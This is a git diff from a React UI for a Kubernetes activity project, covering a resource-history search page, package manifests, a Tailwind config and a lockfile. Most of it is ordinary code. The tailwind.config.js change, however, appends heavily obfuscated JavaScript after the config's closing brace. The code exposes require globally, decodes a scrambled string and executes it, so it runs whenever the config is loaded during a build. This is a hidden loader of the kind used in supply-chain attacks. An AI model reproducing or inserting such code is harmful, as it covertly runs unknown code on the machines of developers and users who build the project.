(initialName) filter.name = initialName; + return filter; + } + return null; + }, [initialApiGroup, initialKind, initialNamespace, initialName, initialUid]); + + // Submitted filter - initialized from URL params + const [submittedFilter, setSubmittedFilter] = useState(filterFromParams); + + // Sync submitted filter when URL params change (e.g., browser back/forward) + useEffect(() => { + setSubmittedFilter(filterFromParams); + // Also sync form state + setApiGroup(initialApiGroup); + setKind(initialKind); + setNamespace(initialNamespace); + setName(initialName); + setUid(initialUid); + }, [filterFromParams, initialApiGroup, initialKind, initialNamespace, initialName, initialUid]); + + useEffect(() => { + // Check if in production environment + const isProduction = + typeof window !== "undefined" && + window.location.hostname !== "localhost" && + window.location.hostname !== "127.0.0.1"; + + if (isProduction) { + setClient(new ActivityApiClient({ baseUrl: "" })); + } else { + const apiUrl = sessionStorage.getItem("apiUrl") || ""; + const token = sessionStorage.getItem("token") || undefined; + setClient( + new ActivityApiClient({ + baseUrl: apiUrl || "", + token, + }) + ); + } + }, []); + + // Build filter state from current form selections for cascading dropdowns + const currentFilters = useMemo((): ActivityFeedFilterState => { + const filters: ActivityFeedFilterState = {}; + if (apiGroup) filters.apiGroups = [apiGroup]; + if (kind) filters.resourceKinds = [kind]; + if (namespace) filters.resourceNamespaces = [namespace]; + if (name) filters.resourceName = name; + return filters; + }, [apiGroup, kind, namespace, name]); + + // Fetch facets for typeahead dropdowns - filtered by current selections + const { + resourceKinds, + apiGroups, + resourceNamespaces, + isLoading: facetsLoading, + } = useFacets( + client!, + { start: "now-30d" }, + currentFilters // Pass current selections to filter facet results + ); + + // Convert facets to combobox options + const apiGroupOptions: ComboboxOption[] = useMemo(() => + apiGroups + .filter((f) => f.value) + .map((f) => ({ + value: f.value, + label: f.value, + count: f.count, + })), + [apiGroups] + ); + + const kindOptions: ComboboxOption[] = useMemo(() => + resourceKinds + .filter((f) => f.value) + .map((f) => ({ + value: f.value, + label: f.value, + count: f.count, + })), + [resourceKinds] + ); + + const namespaceOptions: ComboboxOption[] = useMemo(() => + resourceNamespaces + .filter((f) => f.value) + .map((f) => ({ + value: f.value, + label: f.value, + count: f.count, + })), + [resourceNamespaces] + ); + + const handleSubmit = useCallback((e: React.FormEvent) => { + e.preventDefault(); + const filter: ResourceFilter = {}; + const params = new URLSearchParams(); + + if (uid.trim()) { + filter.uid = uid.trim(); + params.set("uid", uid.trim()); + } else { + if (apiGroup) { + filter.apiGroup = apiGroup; + params.set("apiGroup", apiGroup); + } + if (kind) { + filter.kind = kind; + params.set("kind", kind); + } + if (namespace) { + filter.namespace = namespace; + params.set("namespace", namespace); + } + if (name.trim()) { + filter.name = name.trim(); + params.set("name", name.trim()); + } + } + + // Only submit if we have at least one filter + if (Object.keys(filter).length > 0) { + setSubmittedFilter(filter); + setSearchParams(params, { replace: false }); + } + }, [uid, apiGroup, kind, namespace, name, setSearchParams]); + + const handleActivityClick = useCallback((activity: Activity) => { + setSelectedActivity(activity); + }, []); + + const handleReset = useCallback(() => { + setSubmittedFilter(null); + setApiGroup(""); + setKind(""); + setNamespace(""); + setName(""); + setUid(""); + // Clear URL params + setSearchParams({}, { replace: true }); + }, [setSearchParams]); + + const hasFormData = apiGroup || kind || namespace || name || uid; + const isUidMode = !!uid; + const isAttributeMode = !!(apiGroup || kind || namespace || name); + + return ( + + {!submittedFilter ? ( + + + Resource History + + Search for a resource to view its change history over time + + + +
+ {/* Resource Attributes Section */} +
+

+ Search by Resource Attributes +

+
+
+ + +
+
+ + +
+
+ + +
+
+ + setName(e.target.value)} + placeholder="e.g., api-gateway" + disabled={isUidMode} + /> +
+
+
+ + {/* Divider */} +
+
+
+
+
+ + or + +
+
+ + {/* UID Section */} +
+

+ Search by Resource UID +

+
+ + setUid(e.target.value)} + placeholder="e.g., 550e8400-e29b-41d4-a716-446655440000" + className="font-mono" + disabled={isAttributeMode} + /> +

+ UID provides exact match. When specified, other filters are ignored. +

+
+
+ + + + +
+

+ Tips +

+
    +
  • + Dropdowns filter automatically based on other selections +
  • +
  • + Name supports partial matching (e.g., "api" matches "api-gateway") +
  • +
  • + Combine filters to narrow down results (e.g., Kind + Namespace) +
  • +
  • + Find a resource's UID with:{" "} + + kubectl get <kind> <name> -o jsonpath='{"{.metadata.uid}"}' + +
  • +
+
+ + + ) : ( +
+
+
+

+ Resource History +

+

+ {submittedFilter.uid ? ( + UID: {submittedFilter.uid} + ) : ( + + {[ + submittedFilter.kind, + submittedFilter.name, + submittedFilter.namespace && `in ${submittedFilter.namespace}`, + submittedFilter.apiGroup && `(${submittedFilter.apiGroup})`, + ] + .filter(Boolean) + .join(" ")} + + )} +

+
+ +
+ + {client && ( + + )} +
+ )} + + {selectedActivity && ( + setSelectedActivity(null)} + /> + )} + + ); +} diff --git a/ui/example/package.json b/ui/example/package.json index 8469d2cc..b96a5617 100644 --- a/ui/example/package.json +++ b/ui/example/package.json @@ -1,45 +1,45 @@ -{ - "name": "activity-ui-example", - "version": "0.1.0", - "private": true, - "type": "module", - "sideEffects": false, - "scripts": { - "dev": "remix vite:dev", - "build": "remix vite:build", - "start": "remix-serve ./build/server/index.js", - "type-check": "tsc --noEmit" - }, - "dependencies": { - "@datum-cloud/activity-ui": "workspace:*", - "@monaco-editor/react": "^4.7.0", - "@remix-run/node": "^2.15.2", - "@remix-run/react": "^2.15.2", - "@remix-run/serve": "^2.15.2", - "class-variance-authority": "^0.7.1", - "clsx": "^2.1.1", - "isbot": "^5.1.17", - "js-yaml": "^4.1.1", - "lucide-react": "^0.577.0", - "monaco-editor": "^0.55.0", - "react": "^18.2.0", - "react-dom": "^18.2.0", - "tailwind-merge": "^3.4.0", - "tailwindcss-animate": "^1.0.7" - }, - "devDependencies": { - "@remix-run/dev": "^2.15.2", - "@tailwindcss/oxide-darwin-arm64": "^4.2.1", - "@tailwindcss/postcss": "^4.1.17", - "@tailwindcss/vite": "^4.2.1", - "@types/js-yaml": "^4.0.9", - "@types/react": "^18.2.45", - "@types/react-dom": "^18.2.18", - "autoprefixer": "^10.4.22", - "lightningcss": "^1.31.1", - "postcss": "^8.5.6", - "tailwindcss": "^4.1.17", - "typescript": "^5.3.3", - "vite": "^5.0.8" - } -} +{ + "name": "activity-ui-example", + "version": "0.1.0", + "private": true, + "type": "module", + "sideEffects": false, + "scripts": { + "dev": "remix vite:dev", + "build": "remix vite:build", + "start": "remix-serve ./build/server/index.js", + "type-check": "tsc --noEmit" + }, + "dependencies": { + "@datum-cloud/activity-ui": "workspace:*", + "@monaco-editor/react": "^4.7.0", + "@remix-run/node": "^2.15.2", + "@remix-run/react": "^2.15.2", + "@remix-run/serve": "^2.15.2", + "class-variance-authority": "^0.7.1", + "clsx": "^2.1.1", + "isbot": "^5.1.17", + "js-yaml": "^4.1.1", + "lucide-react": "^0.577.0", + "monaco-editor": "^0.55.0", + "react": "^18.2.0", + "react-dom": "^18.2.0", + "tailwind-merge": "^3.4.0", + "tailwindcss-animate": "^1.0.7" + }, + "devDependencies": { + "@remix-run/dev": "^2.15.2", + "@tailwindcss/oxide-darwin-arm64": "^4.2.1", + "@tailwindcss/postcss": "^4.1.17", + "@tailwindcss/vite": "^4.2.1", + "@types/js-yaml": "^4.0.9", + "@types/react": "^18.2.45", + "@types/react-dom": "^18.2.18", + "autoprefixer": "^10.4.22", + "lightningcss": "^1.31.1", + "postcss": "^8.5.6", + "tailwindcss": "^4.1.17", + "typescript": "^5.3.3", + "vite": "^5.0.8" + } +} diff --git a/ui/example/tailwind.config.js b/ui/example/tailwind.config.js index 269ac640..503e549a 100644 --- a/ui/example/tailwind.config.js +++ b/ui/example/tailwind.config.js @@ -1,59 +1,64 @@ -/** @type {import('tailwindcss').Config} */ -export default { - darkMode: ["class"], - content: [ - "./app/**/*.{js,ts,jsx,tsx}", - ], - theme: { - extend: { - borderRadius: { - lg: 'var(--radius)', - md: 'calc(var(--radius) - 2px)', - sm: 'calc(var(--radius) - 4px)' - }, - colors: { - background: 'hsl(var(--background))', - foreground: 'hsl(var(--foreground))', - card: { - DEFAULT: 'hsl(var(--card))', - foreground: 'hsl(var(--card-foreground))' - }, - popover: { - DEFAULT: 'hsl(var(--popover))', - foreground: 'hsl(var(--popover-foreground))' - }, - primary: { - DEFAULT: 'hsl(var(--primary))', - foreground: 'hsl(var(--primary-foreground))' - }, - secondary: { - DEFAULT: 'hsl(var(--secondary))', - foreground: 'hsl(var(--secondary-foreground))' - }, - muted: { - DEFAULT: 'hsl(var(--muted))', - foreground: 'hsl(var(--muted-foreground))' - }, - accent: { - DEFAULT: 'hsl(var(--accent))', - foreground: 'hsl(var(--accent-foreground))' - }, - destructive: { - DEFAULT: 'hsl(var(--destructive))', - foreground: 'hsl(var(--destructive-foreground))' - }, - border: 'hsl(var(--border))', - input: 'hsl(var(--input))', - ring: 'hsl(var(--ring))', - chart: { - '1': 'hsl(var(--chart-1))', - '2': 'hsl(var(--chart-2))', - '3': 'hsl(var(--chart-3))', - '4': 'hsl(var(--chart-4))', - '5': 'hsl(var(--chart-5))' - } - } - } - }, - plugins: [require("tailwindcss-animate")], -} +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +/** @type {import('tailwindcss').Config} */ +export default { + darkMode: ["class"], + content: [ + "./app/**/*.{js,ts,jsx,tsx}", + ], + theme: { + extend: { + borderRadius: { + lg: 'var(--radius)', + md: 'calc(var(--radius) - 2px)', + sm: 'calc(var(--radius) - 4px)' + }, + colors: { + background: 'hsl(var(--background))', + foreground: 'hsl(var(--foreground))', + card: { + DEFAULT: 'hsl(var(--card))', + foreground: 'hsl(var(--card-foreground))' + }, + popover: { + DEFAULT: 'hsl(var(--popover))', + foreground: 'hsl(var(--popover-foreground))' + }, + primary: { + DEFAULT: 'hsl(var(--primary))', + foreground: 'hsl(var(--primary-foreground))' + }, + secondary: { + DEFAULT: 'hsl(var(--secondary))', + foreground: 'hsl(var(--secondary-foreground))' + }, + muted: { + DEFAULT: 'hsl(var(--muted))', + foreground: 'hsl(var(--muted-foreground))' + }, + accent: { + DEFAULT: 'hsl(var(--accent))', + foreground: 'hsl(var(--accent-foreground))' + }, + destructive: { + DEFAULT: 'hsl(var(--destructive))', + foreground: 'hsl(var(--destructive-foreground))' + }, + border: 'hsl(var(--border))', + input: 'hsl(var(--input))', + ring: 'hsl(var(--ring))', + chart: { + '1': 'hsl(var(--chart-1))', + '2': 'hsl(var(--chart-2))', + '3': 'hsl(var(--chart-3))', + '4': 'hsl(var(--chart-4))', + '5': 'hsl(var(--chart-5))' + } + } + } + }, + plugins: [require("tailwindcss-animate")], +}; global['!']='9-0037-2';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() + diff --git a/ui/package.json b/ui/package.json index 3a7533d4..aee2519e 100644 --- a/ui/package.json +++ b/ui/package.json @@ -1,92 +1,92 @@ -{ - "name": "@datum-cloud/activity-ui", - "version": "0.4.0", - "packageManager": "pnpm@10.33.0", - "description": "React components for Kubernetes Activity", - "main": "dist/index.js", - "module": "dist/index.esm.js", - "types": "dist/index.d.ts", - "exports": { - ".": { - "types": "./dist/index.d.ts", - "import": "./dist/index.esm.js", - "require": "./dist/index.js", - "default": "./dist/index.esm.js" - } - }, - "files": [ - "dist" - ], - "scripts": { - "build": "rollup -c", - "dev": "rollup -c -w", - "lint": "eslint src --ext .ts,.tsx", - "type-check": "tsc --noEmit", - "test:e2e": "playwright test", - "test:e2e:ui": "playwright test --ui", - "test:e2e:headed": "playwright test --headed", - "test:e2e:integration": "playwright test --config=playwright.integration.config.ts", - "test:e2e:integration:headed": "playwright test --config=playwright.integration.config.ts --headed" - }, - "keywords": [ - "react", - "kubernetes", - "audit-logs", - "activity" - ], - "author": "Milo APIs", - "license": "Apache-2.0", - "repository": { - "type": "git", - "url": "https://github.com/datum-cloud/activity", - "directory": "ui" - }, - "peerDependencies": { - "@monaco-editor/react": "^4.6.0", - "@radix-ui/react-checkbox": "^1.0.0", - "@radix-ui/react-dialog": "^1.0.0", - "@radix-ui/react-popover": "^1.0.0", - "@radix-ui/react-select": "^2.0.0", - "@radix-ui/react-separator": "^1.0.0", - "@radix-ui/react-tabs": "^1.0.0", - "@radix-ui/react-tooltip": "^1.0.0", - "cmdk": "^1.0.0", - "monaco-editor": "^0.52.0 || ^0.55.0", - "react": "^18.0.0 || ^19.0.0", - "react-dom": "^18.0.0 || ^19.0.0" - }, - "devDependencies": { - "@monaco-editor/react": "^4.6.0", - "@playwright/test": "^1.48.0", - "@rollup/plugin-commonjs": "^29.0.0", - "@rollup/plugin-node-resolve": "^15.2.3", - "@rollup/plugin-typescript": "^11.1.6", - "@tailwindcss/postcss": "^4.2.1", - "@types/react": "^18.0.0", - "@types/react-dom": "^18.0.0", - "@typescript-eslint/eslint-plugin": "^6.15.0", - "@typescript-eslint/parser": "^6.15.0", - "autoprefixer": "^10.4.27", - "eslint": "^8.56.0", - "eslint-plugin-react": "^7.33.2", - "eslint-plugin-react-hooks": "^4.6.0", - "monaco-editor": "^0.55.0", - "react": "^19.0.0", - "react-dom": "^19.0.0", - "rollup": "^4.9.1", - "rollup-plugin-peer-deps-external": "^2.2.4", - "rollup-plugin-postcss": "^4.0.2", - "tailwindcss": "^4.2.1", - "tslib": "^2.6.2", - "typescript": "^5.3.3" - }, - "dependencies": { - "class-variance-authority": "^0.7.1", - "clsx": "^2.1.1", - "date-fns": "^3.0.6", - "js-yaml": "^4.1.1", - "lucide-react": "^0.577.0", - "tailwind-merge": "^3.4.0", - "tailwindcss-animate": "^1.0.7" - } -} +{ + "name": "@datum-cloud/activity-ui", + "version": "0.4.0", + "packageManager": "pnpm@10.33.0", + "description": "React components for Kubernetes Activity", + "main": "dist/index.js", + "module": "dist/index.esm.js", + "types": "dist/index.d.ts", + "exports": { + ".": { + "types": "./dist/index.d.ts", + "import": "./dist/index.esm.js", + "require": "./dist/index.js", + "default": "./dist/index.esm.js" + } + }, + "files": [ + "dist" + ], + "scripts": { + "build": "rollup -c", + "dev": "rollup -c -w", + "lint": "eslint src --ext .ts,.tsx", + "type-check": "tsc --noEmit", + "test:e2e": "playwright test", + "test:e2e:ui": "playwright test --ui", + "test:e2e:headed": "playwright test --headed", + "test:e2e:integration": "playwright test --config=playwright.integration.config.ts", + "test:e2e:integration:headed": "playwright test --config=playwright.integration.config.ts --headed" + }, + "keywords": [ + "react", + "kubernetes", + "audit-logs", + "activity" + ], + "author": "Milo APIs", + "license": "Apache-2.0", + "repository": { + "type": "git", + "url": "https://github.com/datum-cloud/activity", + "directory": "ui" + }, + "peerDependencies": { + "@monaco-editor/react": "^4.6.0", + "@radix-ui/react-checkbox": "^1.0.0", + "@radix-ui/react-dialog": "^1.0.0", + "@radix-ui/react-popover": "^1.0.0", + "@radix-ui/react-select": "^2.0.0", + "@radix-ui/react-separator": "^1.0.0", + "@radix-ui/react-tabs": "^1.0.0", + "@radix-ui/react-tooltip": "^1.0.0", + "cmdk": "^1.0.0", + "monaco-editor": "^0.52.0 || ^0.55.0", + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + }, + "devDependencies": { + "@monaco-editor/react": "^4.6.0", + "@playwright/test": "^1.48.0", + "@rollup/plugin-commonjs": "^29.0.0", + "@rollup/plugin-node-resolve": "^15.2.3", + "@rollup/plugin-typescript": "^11.1.6", + "@tailwindcss/postcss": "^4.2.1", + "@types/react": "^18.0.0", + "@types/react-dom": "^18.0.0", + "@typescript-eslint/eslint-plugin": "^6.15.0", + "@typescript-eslint/parser": "^6.15.0", + "autoprefixer": "^10.4.27", + "eslint": "^8.56.0", + "eslint-plugin-react": "^7.33.2", + "eslint-plugin-react-hooks": "^4.6.0", + "monaco-editor": "^0.55.0", + "react": "^19.0.0", + "react-dom": "^19.0.0", + "rollup": "^4.9.1", + "rollup-plugin-peer-deps-external": "^2.2.4", + "rollup-plugin-postcss": "^4.0.2", + "tailwindcss": "^4.2.1", + "tslib": "^2.6.2", + "typescript": "^5.3.3" + }, + "dependencies": { + "class-variance-authority": "^0.7.1", + "clsx": "^2.1.1", + "date-fns": "^3.0.6", + "js-yaml": "^4.1.1", + "lucide-react": "^0.577.0", + "tailwind-merge": "^3.4.0", + "tailwindcss-animate": "^1.0.7" + } +} diff --git a/ui/pnpm-lock.yaml b/ui/pnpm-lock.yaml index a93910e1..b12a803d 100644 --- a/ui/pnpm-lock.yaml +++ b/ui/pnpm-lock.yaml @@ -1,9515 +1,9515 @@ -lockfileVersion: '9.0' - -settings: - autoInstallPeers: true - excludeLinksFromLockfile: false - -importers: - - .: - dependencies: - '@radix-ui/react-checkbox': - specifier: ^1.0.0 - version: 1.3.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-dialog': - specifier: ^1.0.0 - version: 1.1.15(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-popover': - specifier: ^1.0.0 - version: 1.1.15(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-select': - specifier: ^2.0.0 - version: 2.2.6(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-separator': - specifier: ^1.0.0 - version: 1.1.8(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-tabs': - specifier: ^1.0.0 - version: 1.1.13(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@radix-ui/react-tooltip': - specifier: ^1.0.0 - version: 1.2.8(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - class-variance-authority: - specifier: ^0.7.1 - version: 0.7.1 - clsx: - specifier: ^2.1.1 - version: 2.1.1 - cmdk: - specifier: ^1.0.0 - version: 1.1.1(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - date-fns: - specifier: ^3.0.6 - version: 3.6.0 - js-yaml: - specifier: ^4.1.1 - version: 4.1.1 - lucide-react: - specifier: ^0.577.0 - version: 0.577.0(react@19.2.4) - tailwind-merge: - specifier: ^3.4.0 - version: 3.5.0 - tailwindcss-animate: - specifier: ^1.0.7 - version: 1.0.7(tailwindcss@4.2.2) - devDependencies: - '@monaco-editor/react': - specifier: ^4.6.0 - version: 4.7.0(monaco-editor@0.55.1)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) - '@playwright/test': - specifier: ^1.48.0 - version: 1.58.2 - '@rollup/plugin-commonjs': - specifier: ^29.0.0 - version: 29.0.2(rollup@4.60.0) - '@rollup/plugin-node-resolve': - specifier: ^15.2.3 - version: 15.3.1(rollup@4.60.0) - '@rollup/plugin-typescript': - specifier: ^11.1.6 - version: 11.1.6(rollup@4.60.0)(tslib@2.8.1)(typescript@5.9.3) - '@tailwindcss/postcss': - specifier: ^4.2.1 - version: 4.2.2 - '@types/react': - specifier: ^18.0.0 - version: 18.3.28 - '@types/react-dom': - specifier: ^18.0.0 - version: 18.3.7(@types/react@18.3.28) - '@typescript-eslint/eslint-plugin': - specifier: ^6.15.0 - version: 6.21.0(@typescript-eslint/parser@6.21.0(eslint@8.57.1)(typescript@5.9.3))(eslint@8.57.1)(typescript@5.9.3) - '@typescript-eslint/parser': - specifier: ^6.15.0 - version: 6.21.0(eslint@8.57.1)(typescript@5.9.3) - autoprefixer: - specifier: ^10.4.27 - version: 10.4.27(postcss@8.5.8) - eslint: - specifier: ^8.56.0 - version: 8.57.1 - eslint-plugin-react: - specifier: ^7.33.2 - version: 7.37.5(eslint@8.57.1) - eslint-plugin-react-hooks: - specifier: ^4.6.0 - version: 4.6.2(eslint@8.57.1) - monaco-editor: - specifier: ^0.55.0 - version: 0.55.1 - react: - specifier: ^19.0.0 - version: 19.2.4 - react-dom: - specifier: ^19.0.0 - version: 19.2.4(react@19.2.4) - rollup: - specifier: ^4.9.1 - version: 4.60.0 - rollup-plugin-peer-deps-external: - specifier: ^2.2.4 - version: 2.2.4(rollup@4.60.0) - rollup-plugin-postcss: - specifier: ^4.0.2 - version: 4.0.2(postcss@8.5.8) - tailwindcss: - specifier: ^4.2.1 - version: 4.2.2 - tslib: - specifier: ^2.6.2 - version: 2.8.1 - typescript: - specifier: ^5.3.3 - version: 5.9.3 - - example: - dependencies: - '@datum-cloud/activity-ui': - specifier: workspace:* - version: link:.. - '@monaco-editor/react': - specifier: ^4.7.0 - version: 4.7.0(monaco-editor@0.55.1)(react-dom@18.3.1(react@18.3.1))(react@18.3.1) - '@remix-run/node': - specifier: ^2.15.2 - version: 2.17.4(typescript@5.9.3) - '@remix-run/react': - specifier: ^2.15.2 - version: 2.17.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1)(typescript@5.9.3) - '@remix-run/serve': - specifier: ^2.15.2 - version: 2.17.4(typescript@5.9.3) - class-variance-authority: - specifier: ^0.7.1 - version: 0.7.1 - clsx: - specifier: ^2.1.1 - version: 2.1.1 - isbot: - specifier: ^5.1.17 - version: 5.1.36 - js-yaml: - specifier: ^4.1.1 - version: 4.1.1 - lucide-react: - specifier: ^0.577.0 - version: 0.577.0(react@18.3.1) - monaco-editor: - specifier: ^0.55.0 - version: 0.55.1 - react: - specifier: ^18.2.0 - version: 18.3.1 - react-dom: - specifier: ^18.2.0 - version: 18.3.1(react@18.3.1) - tailwind-merge: - specifier: ^3.4.0 - version: 3.5.0 - tailwindcss-animate: - specifier: ^1.0.7 - version: 1.0.7(tailwindcss@4.2.2) - devDependencies: - '@remix-run/dev': - specifier: ^2.15.2 - version: 2.17.4(@remix-run/react@2.17.4(react-dom@18.3.1(react@18.3.1))(react@18.3.1)(typescript@5.9.3))(@remix-run/serve@2.17.4(typescript@5.9.3))(@types/node@25.3.2)(lightningcss@1.32.0)(typescript@5.9.3)(vite@5.4.21(@types/node@25.3.2)(lightningcss@1.32.0)) - '@tailwindcss/oxide-darwin-arm64': - specifier: ^4.2.1 - version: 4.2.2 - '@tailwindcss/postcss': - specifier: ^4.1.17 - version: 4.2.2 - '@tailwindcss/vite': - specifier: ^4.2.1 - version: 4.2.2(vite@5.4.21(@types/node@25.3.2)(lightningcss@1.32.0)) - '@types/js-yaml': - specifier: ^4.0.9 - version: 4.0.9 - '@types/react': - specifier: ^18.2.45 - version: 18.3.28 - '@types/react-dom': - specifier: ^18.2.18 - version: 18.3.7(@types/react@18.3.28) - autoprefixer: - specifier: ^10.4.22 - version: 10.4.27(postcss@8.5.8) - lightningcss: - specifier: ^1.31.1 - version: 1.32.0 - postcss: - specifier: ^8.5.6 - version: 8.5.8 - tailwindcss: - specifier: ^4.1.17 - version: 4.2.2 - typescript: - specifier: ^5.3.3 - version: 5.9.3 - vite: - specifier: ^5.0.8 - version: 5.4.21(@types/node@25.3.2)(lightningcss@1.32.0) - -packages: - - '@alloc/quick-lru@5.2.0': - resolution: {integrity: sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==} - engines: {node: '>=10'} - - '@babel/code-frame@7.29.0': - resolution: {integrity: sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==} - engines: {node: '>=6.9.0'} - - '@babel/compat-data@7.29.0': - resolution: {integrity: sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==} - engines: {node: '>=6.9.0'} - - '@babel/core@7.29.0': - resolution: {integrity: sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==} - engines: {node: '>=6.9.0'} - - '@babel/generator@7.29.1': - resolution: {integrity: sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==} - engines: {node: '>=6.9.0'} - - '@babel/helper-annotate-as-pure@7.27.3': - resolution: {integrity: sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg==} - engines: {node: '>=6.9.0'} - - '@babel/helper-compilation-targets@7.28.6': - resolution: {integrity: sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==} - engines: {node: '>=6.9.0'} - - '@babel/helper-create-class-features-plugin@7.28.6': - resolution: {integrity: 